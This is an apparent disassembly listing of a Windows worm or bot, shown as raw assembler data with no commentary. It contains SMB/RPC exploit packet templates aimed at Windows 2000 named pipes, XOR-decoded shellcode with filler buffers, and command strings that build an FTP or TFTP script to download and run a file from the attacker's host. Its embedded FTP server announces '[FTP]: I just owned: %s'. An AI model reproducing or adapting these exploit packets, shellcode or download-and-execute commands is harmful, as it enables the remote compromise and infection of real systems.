loc_4390DF:				; DATA XREF: .nsp0:0040DDF7o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_4390E8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4390FC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: .nsp0:0040DC51o
					; sub_40E7D2+1A4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: .nsp0:0040DC01o
					; sub_40E7D2+150o
		align 10h
aB		db '',0                ; DATA XREF: sub_40E18F+ADo
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_43917C	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_4391D8	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		dd 0
dword_43928C	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
		db  71h	; q
		db 58h,	0B9h, 2Fh
		db  96h	; –
		db 84h,	4, 0CAh
		db  65h	; e
		db 0EEh, 0FBh, 0DAh
		db 0CEh	; Î
		db 9Eh,	0AFh, 28h
		db  8Eh	; Ž
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset loc_410053+1
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 4
dword_439384	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+119o
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_4393C4	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	0
dword_439428	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_4394C0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+164o
					; sub_40E18F+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h
dword_43961C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+17Eo
					; sub_40E18F+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
dword_439778	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+198o
					; sub_40E18F+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 0
dword_4398D4	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+1AFo
					; sub_40E18F+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
unk_439940	db  81h	; 		; DATA XREF: sub_40E18F+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_43998C	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_4399E8	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		dd 0
dword_439A9C	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; ž
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; é
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset loc_410053+1
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 4
dword_439B94	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 4
dword_439BFC	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_439C3C	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	0
dword_439CA0	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_439D38	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+351o
					; sub_40E18F+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh
dword_439E94	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+36Bo
					; sub_40E18F+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
dword_439FF0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+385o
					; sub_40E18F+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dword_43A14C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+39Fo
					; sub_40E18F+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
dword_43A2A8	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+3B9o
					; sub_40E18F+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_43A378	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43A3C4	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_43A3F4	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_43A414	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_43A41E:				; CODE XREF: .nsp0:0043A428j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_43A41E
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E699+96o
aBindingToRpcIn	db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E7D2+1D8o
		align 4
aFailedToConnec	db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E7D2+18Eo
		align 4
dword_43A5CC	dd 163h, 0	dword_43A5D4	dd 20804h, 0	dword_43A5DC	dd 2080Ah, 0	dword_43A5E4	dd 200F1001h, 0Ah, 1001802h, 0		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdKEchoOpen_0	db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40EAA2+92o
					; sub_418D50+90o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: .nsp0:0041A50Eo
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F168+5D7o
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F168+5B6o
		align 4
aFtpIJustOwnedS	db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F168+565o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F168+551o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F168+4F4o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_40F168+4DCo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F168+4CCo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F168+4BBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F168+488o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F168+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40F168+40Eo
